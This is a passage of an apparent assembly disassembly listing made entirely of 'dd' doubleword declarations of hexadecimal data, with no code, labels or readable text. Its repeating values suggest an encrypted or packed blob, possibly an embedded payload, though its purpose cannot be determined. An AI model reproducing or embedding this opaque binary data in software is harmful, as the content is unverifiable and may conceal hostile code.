		dd 2D68E4Ah, 9A6E6FD4h,	340EDA65h, 0E804C7E8h, 8B698A9Ah
		dd 0E5928053h, 0EEEE1CE6h, 45DBC7E6h, 0D1DE9C08h, 9881DB18h
		dd 0FF27356Eh, 0A390EA37h, 0E604C7E8h, 0F45C1C05h, 5EFCCE05h
		dd 1B04C7E8h, 8211D20Ch, 9A50A040h, 3329FDA5h, 72286C33h
		dd 0EEDCF0F9h, 0AEA4C7E6h, 2D89CFD4h, 7A668416h, 0EDB5A81Bh
		dd 0E604C834h, 7ED26B8Bh, 0AE97A89Ch, 5D5ABB86h, 0E604BAFFh
		dd 4AD9E6h, 0EDB5C11Eh,	0E604C756h, 0BD209CC0h,	6823889h
		dd 0CF23F076h, 70A4AEAFh, 9174FB05h, 272C5453h,	73D262F0h
		dd 91098005h, 0B2785453h, 91775598h, 9185846Eh,	0B5FDCE53h
		dd 30614386h, 26858641h, 9174EED4h, 230DFB53h, 26775453h
		dd 9177630Dh, 159D1553h, 917771CEh, 91797DF8h, 1BD75453h
		dd 32FACE4Bh, 0A4775453h, 0AFC5351Dh, 41E26437h, 5216FA8Ch
		dd 0AB6351DEh, 25D79D6Bh, 9174F0FFh, 9178B953h,	8E045453h
		dd 89E1F7ACh, 0ED85894Bh, 967C6FCAh, 0AF775453h, 9EBDB903h
		dd 0DA9AFC21h, 91775480h, 80DAAFEh, 90F1ABF7h, 0B59C5453h
		dd 78154C1Fh, 0D3F94A90h, 269F642Bh, 9185FF1Ah,	958DB953h
		dd 223D5453h, 0F81B4275h, 4E76716Eh, 4E7F32E0h,	0DD775453h
		dd 67229489h, 0F5CB514Ah, 0CD9D4002h, 91775455h, 644CBB76h
		dd 0F0D7547Fh, 1CB55A1Fh, 9174E26Eh, 0CDB18753h, 7196CA62h
		dd 7702B033h, 0EC4A087Ch, 497CB2FFh, 0BD775453h, 8AE10B35h
		dd 17D75AC8h, 9174F06Dh, 0BBB8D53h, 0E53B783Fh,	81DCF51Dh
		dd 0D1EDD1F1h, 835CDB88h, 25D7CE4Ch, 9174851Ah,	1CFD4A53h
		dd 3DB0E1FEh, 9105FD73h, 1C775453h, 5EF8FD76h, 0F1775453h
		dd 60F72BEEh, 0FCC4D32Ah, 9174AA75h, 0BD315453h, 3AE136Ah
		dd 4DFAB6CDh, 0CD775453h, 61BF71DFh, 2611A903h,	9174E3D3h
		dd 9178B953h, 0B235453h, 0F3C771E9h, 2DC6C102h,	8B0C308h
		dd 917771A7h, 25473453h, 9F9D5195h, 91775454h, 8B56376h
		dd 91777243h, 8BC43453h, 48FA532Fh, 0D5A932C8h,	9174F16Ch
		dd 1D992F53h, 0D0636545h, 0CA568AA4h, 0EB21644Ah, 9103D6F6h
		dd 25FA5453h, 0C8775453h, 0B1EE4AC7h, 1778A44Dh, 0F2BF92BBh
		dd 2613F8C5h, 91858601h, 3C05FB53h, 38775453h, 7A050440h
		dd 9174FB73h, 6B5453h, 0A60489D5h, 959006CDh, 0C8785453h
		dd 91775487h, 2E4A5973h, 9177558Fh, 59ECC218h, 9197182Bh
		dd 0E508DC7Ah, 94B05397h, 0D3F252AEh, 49F432C6h, 0CE71FC6Bh
		dd 0AB49AA81h, 1A49E9FAh, 0AB89EF8Ah, 0A7CCF008h, 1A559994h
		dd 0B271618Ah, 0AB49AA88h, 1A49DABFh, 19288A8Ah, 1A49AB22h
		dd 11C79DEEh, 0CFA20FDAh, 0A42D52C9h, 0AB49AA88h, 1A49852Eh
		dd 1AF31F8Ah, 0BFFCAA8Ah, 7FD96B4Fh, 0BC2B9A54h, 63446241h
		dd 0AD49AB13h, 0FAF684A8h, 1A4B381Ch, 46A1AD8Ah, 27C8C33Eh
		dd 0B05F9ECBh, 90B21858h, 0DA2897AAh, 1A4B3E48h, 17A6078Ah
		dd 9E7CB442h, 0F9A3A912h, 7A82B2Ch, 0BBC8CE71h,	26F02A7Dh
		dd 2C6CE552h, 47BDA5CAh, 480A49FDh, 0CBC395B3h,	0A85539C2h
		dd 0B03C8936h, 60A10DFh, 48EFD27Bh, 296C7C9Fh, 2C6C7C93h
		dd 0CEA93DC6h, 198CEEC1h, 2C6AFAC2h, 2C5D106Ah,	0E8737B6Ah
		dd 0F34CEB14h, 0FED796C0h, 5CB75EBBh, 0ABDCEF25h, 9007E784h
		dd 2C6C490Ch, 2C6AF035h, 5008DA6Ah, 45CEB69Ch, 910C8A8Ch
		dd 19A96B84h, 2C07F8ADh, 0FFEED26Ah, 296C7B69h,	2C6C7B4Bh
		dd 3B82EEE9h, 0F3F4CC85h, 64376498h, 0AAAA5CD7h, 0AA944B7Ch
		dd 8FC3CC84h, 2C6C49A1h, 2C5B244Bh, 89897B6Ah, 2C6C7B41h
		dd 2C6D3C35h, 3143286Ah, 870C81E5h, 7C529B65h, 6A219B61h
		dd 3EEC6990h, 0F5EED272h, 0E1BC7A58h, 0D0BB8CD9h, 0D0872358h
		dd 50BC7A58h, 6CC0A20Fh, 0D0BC8B89h, 0D0BD0063h, 0CA65B358h
		dd 5948E78Ah, 0E22D134Fh, 0D0BC88D7h, 373C9158h, 3338236Fh
		dd 0D3BC7A56h, 0D0BC7A40h, 8104C7C0h, 3F266414h, 0E221B4DAh
		dd 0D0BDD1ECh, 0D0B6E158h, 0B2BC7A58h, 51EEABCBh, 6D037234h
		dd 0D0BC8921h, 0D102A445h
		dd 8ADC7A58h, 8CF546AAh, 10DD20FBh, 0D0BC2A63h,	35E71358h
		dd 3B9FAB5Bh, 4F17EEFCh, 0BEBBEC73h, 0D107E165h, 318A7A58h
		dd 4478770Fh, 138C4B41h, 0A63C0875h, 6BDC23FBh,	28EA9F80h
		dd 0DA876CCEh, 168772FBh, 0D0BDF663h, 2612D58h,	79125FD1h
		dd 0CB89959Eh, 0D0AFE157h, 9BC17A58h, 0DF691A35h, 0A03E5B62h
		dd 0B8CC7801h, 4EE22C41h, 0D555EBDAh, 0D0BC7A69h, 0E7E9DA80h
		dd 61C5A2D4h, 0B82085EDh, 8E0C1D59h, 3F326F13h,	0D9398FD9h
		dd 0D130FE45h, 6DBF7A58h, 0D0BC7A6Eh, 4BDD68F8h, 30B281FCh
		dd 50DA9F4Bh, 0FC218A7Bh, 0C0BC7A58h, 0E17E54F7h, 12272C1Bh
		dd 1A87DB15h, 7E7D007Eh, 0F63D6C71h, 6CC13ADBh,	0D0BC7A15h
		dd 49545A04h, 0D82F7372h, 31056BA3h, 2FDB47DCh,	0D0BDF97Eh
		dd 85E82D58h, 3C3FD290h, 80DC28B1h, 49DB19FCh, 3785317Ah
		dd 30DAE204h, 0D0BDF67Eh, 699ACB58h, 0F326700h,	9D25D8A9h
		dd 4D578021h, 0ED51F4D7h, 0DEA00D45h, 74BF7A58h, 0D0BC7A56h
		dd 0D0BB0945h, 8ABF7A58h, 0D0BC7A5Ah, 1F967F04h, 0D4055554h
		dd 0D0BC7A42h, 75752309h, 1A988DB4h, 0BB147F11h, 21475089h
		dd 0D105A440h, 6CBF7A58h, 0D0BC7A58h, 86506BF8h, 44680BD8h
		dd 0D0C1E141h, 9967A58h, 970458BFh, 7F7DAA85h, 25117EBDh
		dd 73C0E2C8h, 0D0BC7A56h, 289772F8h, 0D0832A97h, 4BBC7A58h
		dd 133E2312h, 30BC7A5Ah, 3A4F0BFDh, 4BB5990Fh, 0D0B3FA43h
		dd 8ABF7A58h, 0D0BC7A52h, 0D0BDF763h, 9A3C0358h, 0FD096797h
		dd 7D8FA3Ah, 48F13D9h, 64795C18h, 1BA750DFh, 75040127h
		dd 0D0BC7A5Bh, 0D0BE0745h, 0E6517A58h, 0D0C1E128h, 46767A58h
		dd 0E3396B19h, 8892311Fh, 62872415h, 0F3DF9FDBh, 0E33E25F8h
		dd 32BC7A58h, 0B38B2310h, 110B3FBh, 3E964EF8h, 4C25794Ch
		dd 0BA832312h, 0E3BC7A6Eh, 942E50C1h, 780323F8h, 0D0BC7A6Ah
		dd 0D107FA45h, 0F8217A58h, 0F5BC7A58h, 0BA421EC2h, 0D0B98144h
		dd 5F507A58h, 4462AAD8h, 0BADD2E41h, 0FD1186Bh,	4C4F9B45h
		dd 74501BC1h, 0FC252A1Bh, 0F4BC7A58h, 0ACCC5376h, 39D40E75h
		dd 0B3D24D22h, 0BACD3E69h, 0D105E12Bh, 46B87A58h, 153FE94Ah
		dd 6284A675h, 0F3DF9FDBh, 0D0BB9263h, 0F267D258h, 9B0D6A49h
		dd 0B081F4h, 0D0BDF963h, 0F5FCCA58h, 27BCA39Ah,	758C864Ah
		dd 1D7FB333h, 0E57500BAh, 0D40453C3h, 0D0BC7A5Dh, 54DB287Eh
		dd 0D42F0B90h, 0D0BB8D53h, 0D0BB8C63h, 79266A58h, 0B9D55A7Ah
		dd 0D0BFE22Eh, 0DF217A58h, 74BC7A58h, 57330647h, 0D11C83F6h
		dd 0F4217A58h, 70BC7A58h, 35896D6Eh, 0E75385D1h, 0ED54CC9Dh
		dd 0D3BC7A58h, 0D0BC7A5Ah, 0B16E8BE8h, 0BA8533DBh, 0F3DFA0EBh
		dd 0D0BDF963h, 0B8583E58h, 328891F0h, 127081E0h, 0F8B6E14Ah
		dd 633CAF26h, 0F3DFA0EAh, 0F439237Ch, 30BC7A58h, 6BDA5328h
		dd 4C3AC27Ch, 0D8DC1BC1h, 0D0BC7A5Eh, 0E81D613Bh, 8A27542Dh
		dd 91DA83E5h, 6D74BA53h, 0EF98ADA8h, 3985693Ah,	0D0AAE168h
		dd 33AB7A58h, 0D7DB00h,	0C2821E02h, 223BE70Ch, 5E251AE1h
		dd 77BF8772h, 0D0BC7ACAh, 0D0BB8D63h, 7BFF8258h, 63F8D892h
		dd 0F3DF9FDBh, 0D0BC7A56h, 0D0BDF963h, 45161A58h, 641ED1B9h
		dd 6738127Fh, 31F27861h, 1C22D6B3h, 0E8BC7A58h,	0E1BFE2D9h
		dd 0D0BE55D7h, 0D8DC5A58h, 0D0BC7A40h, 6172FB8Dh, 92932347h
		dd 0AE936C2Fh, 62036922h, 0D0BC7A5Dh, 0EB600BFAh, 3EDC69DEh
		dd 4D72B0B0h, 0D255F4D7h, 0D130FE45h, 3EDC7A58h, 0E4918ADCh
		dd 4C147083h, 0ED7B9C43h, 0DF4025F8h, 6BBC7A58h, 0E097EF62h
		dd 0D0BD838Eh, 97F17A58h, 0C2E78F36h, 7F5E72C0h, 4D788143h
		dd 0D0BDF5A1h, 0D392358h, 0E8BC7A58h, 6255A18h,	0AABC7A58h
		dd 0DE4181BAh, 0F76CCD96h, 6DDABF41h, 0E9538D62h, 0D0BC1A63h
		dd 75DA5A58h, 0FFDADD93h, 0D0BC7A75h, 0D0BDF663h, 3D53DF58h
		dd 0DC57ADA0h, 969B6658h, 0F825FEA8h, 0D0A5E104h, 0F3217A58h
		dd 0BCBC7A58h, 0E22D62E9h, 157C3C4Dh, 0F43E2FCEh, 3CE44E3Dh
		dd 0E2253733h, 64BC7A58h, 1B6CC99Eh, 6F3516AFh,	0A10FF7C3h
		dd 9A880C5Ch, 0F3DF9FDBh, 0D0BC2A63h, 0C1FF8458h, 0EC56425Ah
		dd 184821FEh, 8CE2D864h, 1DB976A8h, 0D0BC0D45h,	62BF7A58h
		dd 0D0BC7A59h, 0E4DC6F73h, 0D63D72F8h, 86C0EF48h, 0D0BC7A5Ah
		dd 0D2656BFBh, 0E23C7A58h, 0D0BDF5EFh, 9EBCE258h, 6C4281FBh
		dd 0E58BFA98h, 913F69CEh, 0A8DA5A6Eh, 92032B3Dh, 62BF690Dh
		dd 0F3DF9FDBh, 0D0BB8D63h, 0AA3BAF58h, 30C5C26Bh, 0D0BDF763h
		dd 984D6C58h, 861CDCF1h, 54C4EB5Ah, 4A249AF4h, 7FABFD2Eh
		dd 0E3776BFAh, 73DAE5B5h, 7A02921Bh, 0D0BC7A40h, 0E3733BF8h
		dd 0D0BC7AC1h, 39856958h, 0D105E154h, 4D747A58h, 8B148F73h
		dd 9B26041Dh, 0E1BC7A58h, 0D0BB92DBh, 0E2872358h, 30BC7A58h
		dd 0E2F5DDF6h, 0D0BC2AD8h, 0A832358h, 0D3BC7A58h, 0D0BC7A6Fh
		dd 5F87643Bh, 31FA16B9h, 0D0BD0163h, 72D64158h,	0B4B92256h
		dd 8703BA82h, 0D0BC7A5Ah, 0E33E2315h, 75BC7A58h, 0EA496909h
		dd 0D0AAE090h, 61A37A58h, 2F44A3D4h, 0CAFA5E49h, 7A6B13DDh
		dd 6D97AA9Bh, 0E2248C9Ah, 0EBBC7A58h, 80E0FE34h, 69522B37h
		dd 4A445C25h, 62C0F64Fh, 0F3DF9FDBh, 6C03D270h,	0D0BC7A6Fh
		dd 0D0AAE0F8h, 916A7A58h, 1766380Ah, 0C6BE8E66h, 1DC9BBBFh
		dd 56DA50D7h, 73DD6BFAh, 0E124921Bh, 67BC7A58h,	0B22C8E32h
		dd 71064034h, 0CB766260h, 7551C721h, 0D551F61Bh, 0D0BC8893h
		dd 0D0BC0D45h, 77BF7A58h, 0D0BC7A59h, 0D4FCCE9Fh, 0D0BC7A41h
		dd 0B42C46FCh, 0F0D5884Fh, 8B386CB7h, 0E121891Ch, 0E1BC7A58h
		dd 5D36435Bh, 85CB6579h, 9DB5713h, 990D1770h, 0C13923DAh
		dd 0E1BC7A58h, 0D0BD01EFh, 0DF412358h, 0E1BC7A58h, 0D0BC7AD9h
		dd 0E9FA8758h, 30C03AD9h, 7F430BFDh, 4B9C9C3Eh,	0D0BB7643h
		dd 49DC7A58h, 4BDD5A13h, 0D0BD754Fh, 0F8822358h, 30BC7A58h
		dd 4CF33340h, 6CC0EF5Fh, 0D0BC7A37h, 0D0B8A445h, 73BF7A58h
		dd 0D0BC7A59h, 0EC368073h, 0E1BC7163h, 0D0BB8CC3h, 51505A58h
		dd 50DA97BEh, 0DF548977h, 0EF852A99h, 0E1BC7A58h, 0D0BD02EFh
		dd 0D0AFE158h, 87427A58h, 90A15509h, 4C36C878h,	2BB93A1h
		dd 7FDB9BA1h, 0FA778171h, 0D0C20745h, 0F9217A58h, 0C0BC7A58h
		dd 8ACBD32Eh, 0E2F7CE27h, 0D0BD01D6h, 4BDC5A58h, 0C4250BFCh
		dd 3985695Dh, 0D107E154h, 34927A58h, 0BAAB61C0h, 14B4FF4Ch
		dd 0D0BDF763h, 0AC020A58h, 0A727724Ch, 0A5057E75h, 7DB67E41h
		dd 84B85A73h, 0EF0AE0F9h, 946D98C0h, 0FD8F6191h, 6F0BB8C0h
		dd 86EC50Eh, 0F1A11A08h, 0BB8C0h, 0EF0BC740h, 0BD54CFC0h
		dd 0E23C6363h, 6CEF71DDh, 0F76A0093h, 0EF0BB8C6h, 0A40A059Dh
		dd 2CA94011h, 6A6B6149h, 0F26EC489h, 0EF0BB8E4h, 0F2A8D9F2h
		dd 2BB0C6EDh, 0C6ADBEE9h, 0AF9F9324h, 0CB0DE654h, 4F777840h
		dd 91C234E6h, 343FF6E9h, 0FBD28A5h, 0EC34FE27h,	87F8F530h
		dd 0BB07294Ah, 0A440AB49h, 0EFC300E9h, 91D267A0h, 16B200E9h
		dd 0C199ED65h, 0D6F4F263h, 15122948h, 34A546EDh, 0A9A27CAAh
		dd 91C27DD2h, 0CEA3A6E9h, 13D2791Ch, 2FFAFB2Dh,	0EBDCBC13h
		dd 0F0780E2Bh, 0AB42EE47h, 264531BFh, 0A15E1648h, 9FC300E9h
		dd 16F3B569h, 59A78266h, 0AF8D8FFDh, 91C0094Ah,	4C4400E9h
		dd 7C16D485h, 4BE995BEh, 0E077B0E7h, 0FFA246F8h, 2CED15FFh
		dd 876BC318h, 0F280EF7Ah, 0C96B9F1h, 95FC179Ch,	6E4417B5h
		dd 0A2A268B6h, 91C41869h
		dd 0A3F8A9E9h, 0F1C300E9h, 60F4EE47h, 91C2664Ah, 2E0900E9h
		dd 520EAD1h, 927B67F0h,	0CB2900E9h, 3085690Ch, 9120F46Ah
		dd 91BE665Dh, 0DF9300E9h, 161813D9h, 484B7305h,	4736F4EFh
		dd 51ADE01h, 0FFA3E0F0h, 36A3CD6Dh, 0C75AEE1Bh,	0BBC300E9h
		dd 6493B071h, 0D0A4A62Dh, 0DEA566ABh, 0D3436332h, 0E347A9E9h
		dd 0F1C300EBh, 431CB94Ch, 91C098F2h, 70F900E9h,	0F1C8074Ah
		dd 91C27ECFh, 66D720E9h, 36C8CE31h, 81C5C879h, 0BB62797Ch
		dd 7780BE69h, 0CBB8D627h, 0B5B9FB4Ah, 81ECAB49h, 92A54570h
		dd 0C85B18AEh, 2C300E9h, 91FD7533h, 183D9D38h, 4546C757h
		dd 91C76663h, 4DDA00E9h, 91AE9845h, 66A3EB13h, 0B300C5A5h
		dd 0B61D664Ah, 0A62B00E9h, 38BEC0F0h, 91C30093h, 91C286D2h
		dd 0D50105E9h, 49794F72h, 36BAFF34h, 91BE67EAh,	0A9E00E9h
		dd 0FA26F949h, 487DDDA1h, 0DA598578h, 0A4C300E9h, 0A2D5D168h
		dd 91C41866h, 2CA5E0E9h, 0E246735h, 942CC7D0h, 952FE0C4h
		dd 91C300EFh, 9DC0D18Bh, 67B619DCh, 34A253AFh, 0B95E0CACh
		dd 61C300E9h, 1A9CD827h, 94BFE3C2h, 91C300E5h, 6300A39h
		dd 0F95CC3AFh, 50DB46BAh, 0B9B9F9C3h, 91C27FD2h, 1A8C64E9h
		dd 99E403D3h, 0DD3B00EBh, 3BA72076h, 0EC2C4CEBh, 0B4C178C0h
		dd 36C000E9h, 91C300E4h, 91D806F4h, 0B45E00E9h,	8CC300E9h
		dd 0FABCB61Dh, 0EAD8D343h, 0F5C2F66Eh, 241D5A42h, 0A38285C7h
		dd 91C3545Dh, 927C67E9h, 14DE00E9h, 469BA300h, 37E50735h
		dd 0E9EE22DBh, 91C687D1h, 2CA5E0E9h, 94E1FB33h,	91C300F4h
		dd 4E8D985Eh, 0EF28466Dh, 72526973h, 0D666061h,	0A52F536Eh
		dd 247D1182h, 91C30DC9h, 91C184F4h, 933A00E9h, 0B55E0C9Eh
		dd 2EC300E9h, 45A568F7h, 4D983920h, 91C68066h, 91B884F4h
		dd 23C000E9h, 91C300F0h, 5FECAB49h, 99DDCC4Ch, 1343FA4Ah
		dd 2DC000E7h, 91C3007Bh, 91C27CD2h, 45A65CE9h, 85413D79h
		dd 0CAC46952h, 91E0665Ah, 99A300E9h, 91C300F3h,	6106E112h
		dd 0F329119Bh, 95921B70h, 10D02D5h, 0D2F6B05h, 93300003h
		dd 0BAFBA9C4h, 0A2C300E9h, 91C30F71h, 0B65D63E9h, 9AC300E9h
		dd 475833A1h, 0EB26DAF0h, 6558951Ch, 91C300DFh,	0A41C142Eh
		dd 91C3AA73h, 927D67E9h, 0C1F800E9h, 0ED112C9Eh, 0A2A40045h
		dd 91C39A66h, 217CE0E9h, 91C300EBh, 91C3B0D2h, 0F3CF1E9h
		dd 0EBACC9Ah, 0ED396F50h, 61D709C3h, 215AEF6Bh,	952FF9C5h
		dd 91C300E6h, 0C76A644Ch, 37C5503Bh, 0DD78CD3Bh, 927867E9h
		dd 0A9CB00E9h, 0D9FDD72Fh, 0ABAB197Dh, 0B8D27968h, 91F984F4h
		dd 202F00E9h, 0A2C47E42h, 91C2255Eh, 0BAFCA9E9h, 0F1C300E9h
		dd 36A5F14Ah, 0EE2AEE32h, 927CFCF4h, 2CA300E9h,	2C1E56B6h
		dd 923EA998h, 0CC300E9h, 0F1C7516Eh, 0A25B17F9h, 86C300E9h
		dd 2A19EA50h, 0F2B64078h, 4E6C7913h, 9A721050h,	91C300F0h
		dd 0A930A028h, 12DD151Ah, 5580893h, 0F2F8EFA1h,	927B67E6h
		dd 6CEB00E9h, 0DA7A3C2Eh, 76704170h, 0A3D46666h, 0A2A300E9h
		dd 91C30D73h, 949380E9h, 91C705F4h, 52A500E9h, 36A56A0Fh
		dd 0FFA404AAh, 0A2A5686Dh, 91C30E5Dh, 0F2FB63E9h, 91C767E6h
		dd 0F43700E9h, 309EE411h, 0AD8B67D0h, 0A25E00E9h, 48C300E9h
		dd 0F483FC0Fh, 0C0C2D12Eh, 5CBDF17Dh, 47601FEFh, 4C7D04AAh
		dd 91C300DBh, 91C285D2h, 0C348B1E9h, 0DADA39BEh, 0D1374D8Dh
		dd 0F1BFD970h, 91C2B4D2h, 2403D8E9h, 0BA80CFA6h, 0BE26514Fh
		dd 0D1655568h, 4F02B5B4h, 4A2E0D1h, 91C284F2h, 0E6A600E9h
		dd 397D18A4h, 91C2FB1Ch, 0F3110CC2h, 91C285CFh,	3ABF6FE9h
		dd 52B80FEAh, 6FBDA163h, 91C287D2h, 34CCB7E9h, 0BC99C7EFh
		dd 0A2A4C9DFh, 91C41168h, 537CE0E9h, 0E09BEC0h,	0A2C7C16Eh
		dd 91C27F73h, 91BE67E9h, 0E9200E9h, 0FC897492h,	2E8AD2F4h
		dd 89ABD4Bh, 36A3E0DBh,	8BECB028h, 927B094Ah, 0E40D00E9h
		dd 772891F8h, 0AEA1818Eh, 2CA2B48Eh, 3D45FD1Ah,	79F4A9F3h
		dd 0B710074Bh, 61BCC049h, 0B45BBCFEh, 0DC300E9h, 67FE36D2h
		dd 0B42A5DF0h, 729E5963h, 0E96E2ED1h, 158C7B2Eh, 9B98EFA3h
		dd 62F8C849h, 0AF5AEFA3h, 19C300E9h, 0E456DF83h, 8D25DA5h
		dd 8243E536h, 629C5FCAh, 0A740EB79h, 0B9FBA9DEh, 0A2C300E9h
		dd 91C30E6Bh, 1BA2E0E9h, 91F867C0h, 34C000E9h, 91C300E8h
		dd 0AF0805C2h, 91C285D2h, 0A21996E9h, 0D90603DBh, 4763BD7Bh
		dd 0F1BFD96Eh, 91C2B4CFh, 4FCDFBE9h, 2A84A57Eh,	0EA28958h
		dd 88B22847h, 62D4333Dh, 0D6A60C91h, 0B45B04A4h, 9FC300E9h
		dd 5F339EB8h, 9519760Bh, 2AB747F1h, 9789A1CCh, 0B5FBA981h
		dd 0A2C300E9h, 91C41270h, 92FDA9E9h, 2EC300E9h,	357D13CEh
		dd 91C300F3h, 91C0FCF4h, 0CA300E9h, 0DCE606E6h,	0A2A28796h
		dd 34BFFDFCh, 91C300E6h, 0D94074Bh, 0AED28066h,	91C793F4h
		dd 0B55E00E9h, 0AAC300E9h, 0BFB998E2h, 990A2C48h, 91C767AAh
		dd 35F00E9h, 5E99A42Ch,	0A68A9C00h, 0ACC2EC72h,	91C192F4h
		dd 6A3A00E9h, 932FF9C3h, 91C8D7B5h, 39C000E9h, 91C300D8h
		dd 91C27CD2h, 13E650E9h, 7E4F21F0h, 0C8D63EEEh,	927E094Bh
		dd 0B1BD00E9h, 0AA8B2C35h, 9EB0617Ch, 495E1610h, 952FF9BEh
		dd 91C300D7h, 0D381921Dh, 6E28460Eh, 95AE58Ch, 25FC5D69h
		dd 0F1A18A33h, 898CCC4Ch, 91C3ABD2h, 0B80327E9h, 399BB0F5h
		dd 0A83F5h, 74A2EB7Fh, 91C829F4h, 2EC000E9h, 91C300CFh
		dd 91C3A9D2h, 0ACA45AE9h, 49B58C09h, 7ACF61A1h,	0DC025F36h
		dd 0A5C3AB27h, 91C193F4h, 93A00E9h, 91CA094Bh, 6D0300E9h
		dd 0C9BD109h, 0BA5D5C6Eh, 36C300E9h, 8A1C0CFBh,	1F8FC286h
		dd 0F32B171Fh, 91C607F1h, 9B2E00E9h, 91C300E9h,	0E588F9Fh
		dd 957AEED0h, 91C300DEh, 0E0246436h, 0BA40B033h, 0A2C300E9h
		dd 91C30E67h, 36A2E0E9h, 51ADE01h, 36A5E0F0h, 6EF8F523h
		dd 0A93A9F4Bh, 91C3B0D2h, 0BD6C18E9h, 4D769BC1h, 0B7B0589Eh
		dd 1E8D0892h, 926B8462h, 9F4784F4h, 0BA5E00E9h,	55C300E9h
		dd 5BE4010h, 36ADA9C9h,	2CA5E0EAh, 655C0DB6h, 0CB5C3DA4h
		dd 0B5B9FB4Ah, 0B9BA002Eh, 927784F4h, 0A05E00E9h, 75C300E9h
		dd 4E321D4Fh, 94A3F0CEh, 91C300D8h, 0FD34A71Fh,	0A5FDD0CCh
		dd 7E6D4763h, 1223D4C4h, 0D8FB293h, 91C2CAD3h, 7042E0E9h
		dd 0CC1000AAh, 91C2FCF4h, 0B6A600E9h, 0F746B029h, 94C300E9h
		dd 91C300ECh, 0F1EDBD0Eh, 36FC3CABh, 477CE0EAh,	91C300EBh
		dd 4F35C04Bh, 927E0948h, 351000E9h, 54D2CC82h, 94B81B8Fh
		dd 91C30090h, 927A8DF4h, 35C000E9h, 91C300E9h, 7B40F149h
		dd 0C5E0CCEh, 0F22FF9C2h, 91C684F1h, 64A500E9h,	0A40FCADFh
		dd 91C30071h, 34A2F7E9h, 942B0CACh, 94A27CAEh, 91C300F2h
		dd 0C523606Ah, 0E2F6760Bh, 4AFDB693h, 0B2A72EB4h, 28E2C7AAh
		dd 2A16BE2Ah, 0A8E6D531h, 456420FDh, 266D2E19h,	0CFD7ADDh
		dd 0CF9A3F76h, 2D73C7AAh, 4E8F87AFh, 0B293C739h, 0B34B55B5h
		dd 4090C7AAh, 0B293C7AAh, 452BB80Ah, 0C393C7AAh, 0B2934F2Bh
		dd 0D51870AAh, 0B593C7AAh, 0B293C7A7h, 62E39DD8h, 0A9E1CB8Eh
		dd 0E864706Eh, 0C7DACC74h, 0D8C9BF0Ah, 0B606C30Ah, 0B293C7B0h
		dd 56C8CDBh, 7F235603h,	2D759419h, 454DD841h, 0B293D569h
		dd 0B2A658B5h, 4090C7AAh, 0B293C7B3h, 0B2934D93h, 0C45F1FAAh
		dd 3E9090C9h, 0B4D1F507h, 0C40AD35Fh, 0B294DA1Fh, 6D4DA7AAh
		dd 0B293C7ACh, 0CE7C560Bh
		dd 1D1870AAh, 0C393C7ABh, 0B2934E1Eh, 0B2982EAAh, 34CAC7AAh
		dd 0F6EFBB81h, 0D67C5607h, 0F91870AAh, 0C693C7AAh, 0B2935793h
		dd 0D51270AAh, 0B593C7AAh, 0B293C7A7h, 775B306Ch, 0F93034B8h
		dd 0B590E68Eh, 0B4FFEF64h, 5990C085h, 0B293C7B2h, 0B294DA93h
		dd 59EE96AAh, 0D9BE0AA6h, 1293C7AAh, 0BBEF322Ch, 0B293C7B5h
		dd 86E6C2DFh, 0BE92101Bh, 2ABE0DB8h, 0C43D083Bh, 0B293C21Fh
		dd 0BF73BEAAh, 0B2952DD1h, 0B618C7AAh, 8C700C93h, 0B4FC9192h
		dd 9876A785h, 21E10C97h, 27ABA8C1h, 0C27C5609h,	3618709Fh
		dd 0B593C7ACh, 0B293C7A6h, 25BD6FBAh, 0DE3A3461h, 6FCC7469h
		dd 0C0A34727h, 0B2B05AB5h, 130AC7AAh, 4C737C4h,	98329E3Dh
		dd 0D727BD4h, 0B2947294h, 6BF25EAAh, 0F8EF434Eh, 7385DD66h
		dd 68FB5E75h, 68FBCB6Bh, 0C42A4363h, 8493C7AAh,	0A581E634h
		dd 9D0EB683h, 860727D3h, 9A2EC398h, 0B593C7ABh,	0B293C7B2h
		dd 78FE8A77h, 5FC87D70h, 0B598182Fh, 0B293C7ACh, 0FF74BDA9h
		dd 0BA74B643h, 0B293C7B4h, 0EB4D6EB8h, 9B79CEC8h, 0A4B782DCh
		dd 0D72E3B82h, 6A93C7AAh, 0A056B888h, 0B8B57352h, 2B106373h
		dd 0B294DA94h, 0E9488FAAh, 0A5B97CB3h, 278982FFh, 0D7E0CE09h
		dd 0B3E82E82h, 5790C7AAh, 0B293C7A9h, 0CFD8C3EFh, 0D7E0CC82h
		dd 2D748F0Ah, 0BDC9B962h, 0CFDD6E0Bh, 0B34BC3B5h, 5990C7AAh
		dd 0B293C7AAh, 4000B80Ah, 4007DA8Fh, 0C3904503h, 0B294621Fh
		dd 0B28F2EAAh, 0E59CC7AAh, 492F4BEEh, 30BFDBB0h, 0C4D62321h
		dd 0B294DF2Dh, 0C50F70AAh, 1293C7AAh, 0C45B6E09h, 0B2934C2Dh
		dd 0B2952EAAh, 7809C7AAh, 556CC9CCh, 0CD93B331h, 9DBD720Ah
		dd 0B2934C93h, 87F060AAh, 48400835h, 1E312B5Ch,	0B4FF9D09h
		dd 0C32EC085h, 8E93C7AAh, 9F98BCC2h, 0B9337225h, 0ACEC5969h
		dd 85B75FCCh, 0B293C7A0h, 13EC2483h, 2E0DE8B3h,	0B4FF6591h
		dd 0FBC2A785h, 2E5BCE0Ch, 0C4FBB684h, 0B2934E1Eh, 4D76A7AAh
		dd 741D0C7Bh, 0FB408A8Eh, 1273300Bh, 0C4F0962Ch, 0B293C733h
		dd 0C42BB6AAh, 4293C7AAh, 0A32D48CDh, 256B2995h, 0E8F93C28h
		dd 84763CD2h, 4090C7B3h, 0B293C74Bh, 0B34C2D0Ah, 0CEEEC7AAh
		dd 2769DC2Bh, 0FFB3FFFFh, 0C42BBDF8h, 9193C7AAh, 6029FB3h
		dd 0E5A567FBh, 5B1EA412h, 29763550h, 4F90C10Ch,	0B293C7ACh
		dd 0C6EFCE0Bh, 0CAFE8B29h, 99C3B50Ah, 2DC03D2Bh, 0B64C1A2Fh
		dd 0B293C79Bh, 9F524F5Eh, 4BD70BADh, 2C08D543h,	0A6D47A3Ch
		dd 0D7D71C4Ch, 0B2AA55B5h, 0C12EC7AAh, 7093C7AAh, 0EE53B7E7h
		dd 0C3D713D7h, 0B3E658B5h, 8A73C7AAh, 3CC7A241h, 0B294D991h
		dd 0BDFE59AAh, 2E1A9E33h, 0B30019EBh, 1293C7AAh, 0D631930Eh
		dd 0B3E8D00Bh, 4D90C7AAh, 0B293C7A8h, 0B294F2B5h, 5B90C7AAh
		dd 0B293C7ACh, 0B29ECCB5h, 5A90C7AAh, 0B293C797h, 0B2947193h
